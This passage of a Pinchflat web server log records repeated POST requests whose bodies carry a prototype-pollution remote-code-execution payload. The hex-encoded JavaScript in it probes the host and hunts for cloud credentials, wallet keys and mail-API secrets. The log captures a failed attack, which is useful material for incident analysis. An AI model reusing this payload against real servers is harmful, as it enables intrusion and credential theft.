shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 18:04:57.469 [debug] QUERY OK source="media_items" db=0.3ms idle=6.0ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 18:04:57.470 [debug] QUERY OK source="tasks" db=0.2ms idle=3.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [17073, 2, ~U[2026-08-20 01:04:57Z], ~U[2026-08-20 01:04:57Z]] 18:04:57.471 [info] {"args":{"id":2},"id":17069,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":27883774,"event":"job:stop","queue_time":579383,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 18:05:00.101 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:05:04.618 [info] POST / 18:05:04.620 [debug] QUERY OK source="settings" db=0.1ms idle=1932.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:05:04.620 [debug] QUERY OK source="settings" db=0.1ms idle=1933.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:05:04.620 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 18:05:04.621 [error] #PID<0.163238.0> running PinchflatWeb.Endpoint (connection #PID<0.163237.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: POST / ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163237.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 40132}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "connection" => "close", "content-length" => "8806", "content-type" => "multipart/form-data; boundary=------------------------bissa_cve_boundary", "host" => "pf.hornstreamingservices.com", "next-action" => "x", "user-agent" => "Mozilla/5.0", "x-forwarded-for" => "144.172.118.88", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "144.172.118.88" }, method: "POST", body_length: 8806, path_info: :undefined, qs: "", streamid: 1, has_body: true, host_info: :undefined, has_read_body: true }}, assigns: %{}, body_params: %{ "0" => "{\"then\": \"$1:__proto__:then\", \"status\": \"resolved_model\", \"reason\": -1, \"value\": \"{\\\"then\\\": \\\"$B0\\\"}\", \"_response\": {\"_prefix\": \"var reject_bridge = arguments[1]; (Promise.all([Function('return import(\\\"node:child_process\\\")')(), Function('return import(\\\"node:zlib\\\")')()]).then(([cp, zlib]) => { return new Promise((resolve, reject) => { try { var user_code = global[String.fromCharCode(66,117,102,102,101,114)].from('286173796e632066756e6374696f6e28297b636f6e7374206f733d617761697420696d706f727428276f7327293b636f6e73742066733d617761697420696d706f72742827667327293b636f6e737420706174683d617761697420696d706f727428277061746827293b636f6e737420726561643d2870293d3e7b7472797b72657475726e2066732e7265616446696c6553796e6328702c277574663827293b7d63617463682865297b72657475726e27273b7d7d3b636f6e7374206578697374733d2870293d3e7b7472797b66732e61636365737353796e632870293b72657475726e20747275653b7d63617463682865297b72657475726e2066616c73653b7d7d3b636f6e7374207772697461626c653d2870293d3e7b7472797b66732e61636365737353796e6328702c66732e636f6e7374616e74732e575f4f4b293b72657475726e20747275653b7d63617463682865297b72657475726e2066616c73653b7d7d3b636f6e737420637075733d6f732e6370757328293b636f6e7374206d656d3d6f732e746f74616c6d656d28293b636f6e737420706c6174666f726d3d6f732e706c6174666f726d28293b6c657420757365723d27756e6b6e6f776e273b7472797b757365723d6f732e75736572496e666f28292e757365726e616d653b7d63617463682865297b757365723d70726f636573732e656e762e555345527c7c70726f636573732e656e762e555345524e414d457c7c27756e6b6e6f776e273b7d0a6c657420656e765f747970653d274d4554414c273b69662870726f636573732e656e762e4b554245524e455445535f534552564943455f484f53547c7c70726f636573732e656e762e444f434b45525f484f53547c7c70726f636573732e656e762e4157535f455845435554494f4e5f454e567c7c70726f636573732e656e762e44594e4f7c7c65786973747328272f2e646f636b6572656e7627297c7c65786973747328272f72756e2f2e636f6e7461696e6572656e762729297b656e765f747970653d27434f4e5441494e4552273b7d0a696628706c6174666f726d3d3d3d276c696e757827297b636f6e7374206367726f75703d7265616428272f70726f632f73656c662f6367726f757027293b6966286367726f75702e6d61746368282f646f636b65727c6b756265706f64737c6c78637c706f646d616e2f6929297b656e765f747970653d27434f4e5441494e4552273b7d0a636f6e7374206d6f756e74733d7265616428272f70726f632f73656c662f6d6f756e74696e666f27293b6966286d6f756e74732e6d61746368282f6f7665726c61797c6f7665726c6179322f69292626656e765f747970653d3d3d274d4554414c27297b656e765f747970653d27434f4e5441494e4552202850726f6261626c6529273b7d7d0a636f6e7374206e6574733d6f732e6e6574776f726b496e746572666163657328293b636f6e7374206970733d5b5d3b4f626a6563742e6b657973286e657473292e666f7245616368286b3d3e7b6e6574735b6b5d2e666f7245616368286e3d3e7b696628216e2e696e7465726e616c26266e2e66616d696c793d3d3d274950763427296970732e70757368286e2e61646472657373293b7d293b7d293b636f6e73742077726974655f636865636b733d5b6f732e746d7064697228292c272f6465762f73686d272c272f7661722f746d70272c70726f636573732e63776428295d3b636f6e737420756e697175655f636865636b733d5b2e2e2e6e6577205365742877726974655f636865636b73295d3b636f6e7374207772697461626c655f70617468733d756e697175655f636865636b732e66696c74657228703d3e7772697461626c65287029293b6c6574206861735f617678323d2730273b696628637075735b305d2626637075735b305d2e6d6f64656c2e746f55707065724361736528292e696e636c756465732827415658322729297b6861735f617678323d2731273b7d0a656c736520696628706c6174666f726d3d3d3d276c696e757827297b636f6e737420637075496e666f3d7265616428272f70726f632f637075696e666f27293b696628637075496e666f2e696e636c756465732827617678322729296861735f617678323d2731273b7d0a636f6e7374206876745f6b6579776f7264733d2f4157535f7c4543535f7c4543325f7c505249564154455f4b45597c4d4e454d4f4e49437c57414c4c45547c4b455953544f52457c534545445f5048524153457c53454e44475249447c4d41494c47554e7c504f53544d41524b7c5345535f2f693b636f6e73742069735f6876745f656e763d4f626a6563742e6b6579732870726f636573732e656e76292e736f6d65286b3d3e6876745f6b6579776f7264732e74657374286b29293b636f6e737420686f6d653d6f732e686f6d6564697228293b636f6e7374206177735f63726564733d706174682e6a6f696e28686f6d652c272e617773272c2763726564656e7469616c7327293b6c65742069735f6876745f" <> ..., "1" => "\"$@0\"", "2" => "[]" }, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "POST", owner: #PID<0.163238.0>, params: %{ "0" => "{\"then\": \"$1:__proto__:then\", \"status\": \"resolved_model\", \"reason\": -1, \"value\": \"{\\\"then\\\": \\\"$B0\\\"}\", \"_response\": {\"_prefix\": \"var reject_bridge = arguments[1]; (Promise.all([Function('return import(\\\"node:child_process\\\")')(), Function('return import(\\\"node:zlib\\\")')()]).then(([cp, zlib]) => { return new Promise((resolve, reject) => { try { var user_code = global[String.fromCharCode(66,117,102,102,101,114)].from('286173796e632066756e6374696f6e28297b636f6e7374206f733d617761697420696d706f727428276f7327293b636f6e73742066733d617761697420696d706f72742827667327293b636f6e737420706174683d617761697420696d706f727428277061746827293b636f6e737420726561643d2870293d3e7b7472797b72657475726e2066732e7265616446696c6553796e6328702c277574663827293b7d63617463682865297b72657475726e27273b7d7d3b636f6e7374206578697374733d2870293d3e7b7472797b66732e61636365737353796e632870293b72657475726e20747275653b7d63617463682865297b72657475726e2066616c73653b7d7d3b636f6e7374207772697461626c653d2870293d3e7b7472797b66732e61636365737353796e6328702c66732e636f6e7374616e74732e575f4f4b293b72657475726e20747275653b7d63617463682865297b72657475726e2066616c73653b7d7d3b636f6e737420637075733d6f732e6370757328293b636f6e7374206d656d3d6f732e746f74616c6d656d28293b636f6e737420706c6174666f726d3d6f732e706c6174666f726d28293b6c657420757365723d27756e6b6e6f776e273b7472797b757365723d6f732e75736572496e666f28292e757365726e616d653b7d63617463682865297b757365723d70726f636573732e656e762e555345527c7c70726f636573732e656e762e555345524e414d457c7c27756e6b6e6f776e273b7d0a6c657420656e765f747970653d274d4554414c273b69662870726f636573732e656e762e4b554245524e455445535f534552564943455f484f53547c7c70726f636573732e656e762e444f434b45525f484f53547c7c70726f636573732e656e762e4157535f455845435554494f4e5f454e567c7c70726f636573732e656e762e44594e4f7c7c65786973747328272f2e646f636b6572656e7627297c7c65786973747328272f72756e2f2e636f6e7461696e6572656e762729297b656e765f747970653d27434f4e5441494e4552273b7d0a696628706c6174666f726d3d3d3d276c696e757827297b636f6e7374206367726f75703d72656164 (truncated) 18:05:05.132 [info] POST / 18:05:05.133 [debug] QUERY OK source="settings" db=0.1ms idle=1446.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:05:05.133 [debug] QUERY OK source="settings" db=0.0ms idle=513.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:05:05.133 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 18:05:05.134 [error] #PID<0.163240.0> running PinchflatWeb.Endpoint (connection #PID<0.163239.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: POST / ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163239.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 37920}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "connection" => "close", "content-length" => "8806", "content-type" => "multipart/form-data; boundary=------------------------bissa_cve_boundary", "host" => "pf.hornstreamingservices.com", "next-action" => "x", "user-agent" => "Mozilla/5.0", "x-action-id" => "x", "x-forwarded-for" => "144.172.118.88", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "144.172.118.88" }, method: "POST", body_length: 8806, path_info: :undefined, qs: "", streamid: 1, has_body: true, host_info: :undefined, has_read_body: true }}, assigns: %{}, body_params: %{ "0" => "{\"then\": \"$1:__proto__:then\", \"status\": \"resolved_model\", \"reason\": -1, \"value\": \"{\\\"then\\\": \\\"$B0\\\"}\", \"_response\": {\"_prefix\": \"var reject_bridge = arguments[1]; (Promise.all([Function('return import(\\\"node:child_process\\\")')(), Function('return import(\\\"node:zlib\\\")')()]).then(([cp, zlib]) => { return new Promise((resolve, reject) => { try { var user_code = global[String.fromCharCode(66,117,102,102,101,114)].from('286173796e632066756e6374696f6e28297b636f6e7374206f733d617761697420696d706f727428276f7327293b636f6e73742066733d617761697420696d706f72742827667327293b636f6e737420706174683d617761697420696d706f727428277061746827293b636f6e737420726561643d2870293d3e7b7472797b72657475726e2066732e7265616446696c6553796e6328702c277574663827293b7d63617463682865297b72657475726e27273b7d7d3b636f6e7374206578697374733d2870293d3e7b7472797b66732e61636365737353796e632870293b72657475726e20747275653b7d63617463682865297b72657475726e2066616c73653b7d7d3b636f6e7374207772697461626c653d2870293d3e7b7472797b66732e61636365737353796e6328702c66732e636f6e7374616e74732e575f4f4b293b72657475726e20747275653b7d63617463682865297b72657475726e2066616c73653b7d7d3b636f6e737420637075733d6f732e6370757328293b636f6e7374206d656d3d6f732e746f74616c6d656d28293b636f6e737420706c6174666f726d3d6f732e706c6174666f726d28293b6c657420757365723d27756e6b6e6f776e273b7472797b757365723d6f732e75736572496e666f28292e757365726e616d653b7d63617463682865297b757365723d70726f636573732e656e762e555345527c7c70726f636573732e656e762e555345524e414d457c7c27756e6b6e6f776e273b7d0a6c657420656e765f747970653d274d4554414c273b69662870726f636573732e656e762e4b554245524e455445535f534552564943455f484f53547c7c70726f636573732e656e762e444f434b45525f484f53547c7c70726f636573732e656e762e4157535f455845435554494f4e5f454e567c7c70726f636573732e656e762e44594e4f7c7c65786973747328272f2e646f636b6572656e7627297c7c65786973747328272f72756e2f2e636f6e7461696e6572656e762729297b656e765f747970653d27434f4e5441494e4552273b7d0a696628706c6174666f726d3d3d3d276c696e757827297b636f6e7374206367726f75703d7265616428272f70726f632f73656c662f6367726f757027293b6966286367726f75702e6d61746368282f646f636b65727c6b756265706f64737c6c78637c706f646d616e2f6929297b656e765f747970653d27434f4e5441494e4552273b7d0a636f6e7374206d6f756e74733d7265616428272f70726f632f73656c662f6d6f756e74696e666f27293b6966286d6f756e74732e6d61746368282f6f7665726c61797c6f7665726c6179322f69292626656e765f747970653d3d3d274d4554414c27297b656e765f747970653d27434f4e5441494e4552202850726f6261626c6529273b7d7d0a636f6e7374206e6574733d6f732e6e6574776f726b496e746572666163657328293b636f6e7374206970733d5b5d3b4f626a6563742e6b657973286e657473292e666f7245616368286b3d3e7b6e6574735b6b5d2e666f7245616368286e3d3e7b696628216e2e696e7465726e616c26266e2e66616d696c793d3d3d274950763427296970732e70757368286e2e61646472657373293b7d293b7d293b636f6e73742077726974655f636865636b733d5b6f732e746d7064697228292c272f6465762f73686d272c272f7661722f746d70272c70726f636573732e63776428295d3b636f6e737420756e697175655f636865636b733d5b2e2e2e6e6577205365742877726974655f636865636b73295d3b636f6e7374207772697461626c655f70617468733d756e697175655f636865636b732e66696c74657228703d3e7772697461626c65287029293b6c6574206861735f617678323d2730273b696628637075735b305d2626637075735b305d2e6d6f64656c2e746f55707065724361736528292e696e636c756465732827415658322729297b6861735f617678323d2731273b7d0a656c736520696628706c6174666f726d3d3d3d276c696e757827297b636f6e737420637075496e666f3d7265616428272f70726f632f637075696e666f27293b696628637075496e666f2e696e636c756465732827617678322729296861735f617678323d2731273b7d0a636f6e7374206876745f6b6579776f7264733d2f4157535f7c4543535f7c4543325f7c505249564154455f4b45597c4d4e454d4f4e49437c57414c4c45547c4b455953544f52457c534545445f5048524153457c53454e44475249447c4d41494c47554e7c504f53544d41524b7c5345535f2f693b636f6e73742069735f6876745f656e763d4f626a6563742e6b6579732870726f636573732e656e76292e736f6d65286b3d3e6876745f6b6579776f7264732e74657374286b29293b636f6e737420686f6d653d6f732e686f6d6564697228293b636f6e7374206177735f63726564733d706174682e6a6f696e28686f6d652c272e617773272c2763726564656e7469616c7327293b6c65742069735f6876745f" <> ..., "1" => "\"$@0\"", "2" => "[]" }, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "POST", owner: #PID<0.163240.0>, params: %{ "0" => "{\"then\": \"$1:__proto__:then\", \"status\": \"resolved_model\", \"reason\": -1, \"value\": \"{\\\"then\\\": \\\"$B0\\\"}\", \"_response\": {\"_prefix\": \"var reject_bridge = arguments[1]; (Promise.all([Function('return import(\\\"node:child_process\\\")')(), Function('return import(\\\"node:zlib\\\")')()]).then(([cp, zlib]) => { return new Promise((resolve, reject) => { try { var user_code = global[String.fromCharCode(66,117,102,102,101,114)].from('286173796e632066756e6374696f6e28297b636f6e7374206f733d617761697420696d706f727428276f7327293b636f6e73742066733d617761697420696d706f72742827667327293b636f6e737420706174683d617761697420696d706f727428277061746827293b636f6e737420726561643d2870293d3e7b7472797b72657475726e2066732e7265616446696c6553796e6328702c277574663827293b7d63617463682865297b72657475726e27273b7d7d3b636f6e7374206578697374733d2870293d3e7b7472797b66732e61636365737353796e632870293b72657475726e20747275653b7d63617463682865297b72657475726e2066616c73653b7d7d3b636f6e7374207772697461626c653d2870293d3e7b7472797b66732e61636365737353796e6328702c66732e636f6e7374616e74732e575f4f4b293b72657475726e20747275653b7d63617463682865297b72657475726e2066616c73653b7d7d3b636f6e737420637075733d6f732e6370757328293b636f6e7374206d656d3d6f732e746f74616c6d656d28293b636f6e737420706c6174666f726d3d6f732e706c6174666f726d28293b6c657420757365723d27756e6b6e6f776e273b7472797b757365723d6f732e75736572496e666f28292e757365726e616d653b7d63617463682865297b757365723d70726f636573732e656e762e555345527c7c70726f636573732e656e762e555345524e414d457c7c27756e6b6e6f776e273b7d0a6c657420656e765f747970653d274d4554414c273b69662870726f636573732e656e762e4b554245524e455445535f534552564943455f484f53547c7c70726f636573732e656e762e444f434b45525f484f53547c7c70726f636573732e656e762e4157535f455845435554494f4e5f454e567c7c70726f636573732e656e762e44594e4f7c7c65786973747328272f2e646f636b6572656e7627297c7c65786973747328272f72756e2f2e636f6e7461696e6572656e762729297b656e765f747970653d27434f4e5441494e4552273b7d0a696628706c6174666f726d3d3d3d276c696e757827297b6 (truncated) 18:05:06.293 [info] POST / 18:05:06.294 [debug] QUERY OK source="settings" db=0.1ms idle=1606.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:05:06.294 [debug] QUERY OK source="settings" db=0.1ms idle=1160.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:05:06.294 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 18:05:06.294 [error] #PID<0.163242.0> running PinchflatWeb.Endpoint (connection #PID<0.163241.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: POST / ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163241.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 37936}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "connection" => "close", "content-length" => "8846", "content-type" => "multipart/form-data; boundary=----------------------------Oi5hbBYTG1UsoawLMBdqobxf", "host" => "pf.hornstreamingservices.com", "next-action" => "x", "user-agent" => "Mozilla/5.0", "x-forwarded-for" => "144.172.118.88", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "144.172.118.88" }, method: "POST", body_length: 8846, path_info: :undefined, qs: "", streamid: 1, has_body: true, host_info: :undefined, has_read_body: true }}, assigns: %{}, body_params: %{ "0" => "{\"then\": \"$1:__proto__:then\", \"status\": \"resolved_model\", \"reason\": -1, \"value\": \"{\\\"then\\\": \\\"$B0\\\"}\", \"_response\": {\"_prefix\": \"var reject_bridge = arguments[1]; (Promise.all([Function('return import(\\\"node:child_process\\\")')(), Function('return import(\\\"node:zlib\\\")')()]).then(([cp, zlib]) => { return new Promise((resolve, reject) => { try { var user_code = global[String.fromCharCode(66,117,102,102,101,114)].from('286173796e632066756e6374696f6e28297b636f6e7374206f733d617761697420696d706f727428276f7327293b636f6e73742066733d617761697420696d706f72742827667327293b636f6e737420706174683d617761697420696d706f727428277061746827293b636f6e737420726561643d2870293d3e7b7472797b72657475726e2066732e7265616446696c6553796e6328702c277574663827293b7d63617463682865297b72657475726e27273b7d7d3b636f6e7374206578697374733d2870293d3e7b7472797b66732e61636365737353796e632870293b72657475726e20747275653b7d63617463682865297b72657475726e2066616c73653b7d7d3b636f6e7374207772697461626c653d2870293d3e7b7472797b66732e61636365737353796e6328702c66732e636f6e7374616e74732e575f4f4b293b72657475726e20747275653b7d63617463682865297b72657475726e2066616c73653b7d7d3b636f6e737420637075733d6f732e6370757328293b636f6e7374206d656d3d6f732e746f74616c6d656d28293b636f6e737420706c6174666f726d3d6f732e706c6174666f726d28293b6c657420757365723d27756e6b6e6f776e273b7472797b757365723d6f732e75736572496e666f28292e757365726e616d653b7d63617463682865297b757365723d70726f636573732e656e762e555345527c7c70726f636573732e656e762e555345524e414d457c7c27756e6b6e6f776e273b7d0a6c657420656e765f747970653d274d4554414c273b69662870726f636573732e656e762e4b554245524e455445535f534552564943455f484f53547c7c70726f636573732e656e762e444f434b45525f484f53547c7c70726f636573732e656e762e4157535f455845435554494f4e5f454e567c7c70726f636573732e656e762e44594e4f7c7c65786973747328272f2e646f636b6572656e7627297c7c65786973747328272f72756e2f2e636f6e7461696e6572656e762729297b656e765f747970653d27434f4e5441494e4552273b7d0a696628706c6174666f726d3d3d3d276c696e757827297b636f6e7374206367726f75703d7265616428272f70726f632f73656c662f6367726f757027293b6966286367726f75702e6d61746368282f646f636b65727c6b756265706f64737c6c78637c706f646d616e2f6929297b656e765f747970653d27434f4e5441494e4552273b7d0a636f6e7374206d6f756e74733d7265616428272f70726f632f73656c662f6d6f756e74696e666f27293b6966286d6f756e74732e6d61746368282f6f7665726c61797c6f7665726c6179322f69292626656e765f747970653d3d3d274d4554414c27297b656e765f747970653d27434f4e5441494e4552202850726f6261626c6529273b7d7d0a636f6e7374206e6574733d6f732e6e6574776f726b496e746572666163657328293b636f6e7374206970733d5b5d3b4f626a6563742e6b657973286e657473292e666f7245616368286b3d3e7b6e6574735b6b5d2e666f7245616368286e3d3e7b696628216e2e696e7465726e616c26266e2e66616d696c793d3d3d274950763427296970732e70757368286e2e61646472657373293b7d293b7d293b636f6e73742077726974655f636865636b733d5b6f732e746d7064697228292c272f6465762f73686d272c272f7661722f746d70272c70726f636573732e63776428295d3b636f6e737420756e697175655f636865636b733d5b2e2e2e6e6577205365742877726974655f636865636b73295d3b636f6e7374207772697461626c655f70617468733d756e697175655f636865636b732e66696c74657228703d3e7772697461626c65287029293b6c6574206861735f617678323d2730273b696628637075735b305d2626637075735b305d2e6d6f64656c2e746f55707065724361736528292e696e636c756465732827415658322729297b6861735f617678323d2731273b7d0a656c736520696628706c6174666f726d3d3d3d276c696e757827297b636f6e737420637075496e666f3d7265616428272f70726f632f637075696e666f27293b696628637075496e666f2e696e636c756465732827617678322729296861735f617678323d2731273b7d0a636f6e7374206876745f6b6579776f7264733d2f4157535f7c4543535f7c4543325f7c505249564154455f4b45597c4d4e454d4f4e49437c57414c4c45547c4b455953544f52457c534545445f5048524153457c53454e44475249447c4d41494c47554e7c504f53544d41524b7c5345535f2f693b636f6e73742069735f6876745f656e763d4f626a6563742e6b6579732870726f636573732e656e76292e736f6d65286b3d3e6876745f6b6579776f7264732e74657374286b29293b636f6e737420686f6d653d6f732e686f6d6564697228293b636f6e7374206177735f63726564733d706174682e6a6f696e28686f6d652c272e617773272c2763726564656e7469616c7327293b6c65742069735f6876745f" <> ..., "1" => "\"$@0\"", "2" => "[]" }, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "POST", owner: #PID<0.163242.0>, params: %{ "0" => "{\"then\": \"$1:__proto__:then\", \"status\": \"resolved_model\", \"reason\": -1, \"value\": \"{\\\"then\\\": \\\"$B0\\\"}\", \"_response\": {\"_prefix\": \"var reject_bridge = arguments[1]; (Promise.all([Function('return import(\\\"node:child_process\\\")')(), Function('return import(\\\"node:zlib\\\")')()]).then(([cp, zlib]) => { return new Promise((resolve, reject) => { try { var user_code = global[String.fromCharCode(66,117,102,102,101,114)].from('286173796e632066756e6374696f6e28297b636f6e7374206f733d617761697420696d706f727428276f7327293b636f6e73742066733d617761697420696d706f72742827667327293b636f6e737420706174683d617761697420696d706f727428277061746827293b636f6e737420726561643d2870293d3e7b7472797b72657475726e2066732e7265616446696c6553796e6328702c277574663827293b7d63617463682865297b72657475726e27273b7d7d3b636f6e7374206578697374733d2870293d3e7b7472797b66732e61636365737353796e632870293b72657475726e20747275653b7d63617463682865297b72657475726e2066616c73653b7d7d3b636f6e7374207772697461626c653d2870293d3e7b7472797b66732e61636365737353796e6328702c66732e636f6e7374616e74732e575f4f4b293b72657475726e20747275653b7d63617463682865297b72657475726e2066616c73653b7d7d3b636f6e737420637075733d6f732e6370757328293b636f6e7374206d656d3d6f732e746f74616c6d656d28293b636f6e737420706c6174666f726d3d6f732e706c6174666f726d28293b6c657420757365723d27756e6b6e6f776e273b7472797b757365723d6f732e75736572496e666f28292e757365726e616d653b7d63617463682865297b757365723d70726f636573732e656e762e555345527c7c70726f636573732e656e762e555345524e414d457c7c27756e6b6e6f776e273b7d0a6c657420656e765f747970653d274d4554414c273b69662870726f636573732e656e762e4b554245524e455445535f534552564943455f484f53547c7c70726f636573732e656e762e444f434b45525f484f53547c7c70726f636573732e656e762e4157535f455845435554494f4e5f454e567c7c70726f636573732e656e762e44594e4f7c7c65786973747328272f2e646f636b6572656e7627297c7c65786973747328272f72756e2f2e636f6e7461696e6572656e762729297b656e765f747970653d27434f4e5441494e4552273b7d0a696628706c6174666f726d3d3d3d276c696e757827297b636f6e7374206367726f7570 (truncated) 18:05:06.877 [info] POST / 18:05:06.878 [debug] QUERY OK source="settings" db=0.1ms idle=1190.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:05:06.878 [debug] QUERY OK source="settings" db=0.1ms idle=584.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:05:06.878 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 18:05:06.879 [error] #PID<0.163244.0> running PinchflatWeb.Endpoint (connection #PID<0.163243.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: POST / ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163243.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 37942}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "connection" => "close", "content-length" => "8806", "content-type" => "multipart/form-data; boundary=------------------------bissa_cve_boundary", "host" => "pf.hornstreamingservices.com", "next-action" => "x", "user-agent" => "Mozilla/5.0", "x-forwarded-for" => "144.172.118.88", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "144.172.118.88" }, method: "POST", body_length: 8806, path_info: :undefined, qs: "", streamid: 1, has_body: true, host_info: :undefined, has_read_body: true }}, assigns: %{}, body_params: %{ "0" => "{\"then\": \"$1:__proto__:then\", \"status\": \"resolved_model\", \"reason\": -1, \"value\": \"{\\\"then\\\": \\\"$B0\\\"}\", \"_response\": {\"_prefix\": \"var reject_bridge = arguments[1]; (Promise.all([Function('return import(\\\"node:child_process\\\")')(), Function('return import(\\\"node:zlib\\\")')()]).then(([cp, zlib]) => { return new Promise((resolve, reject) => { try { var user_code = 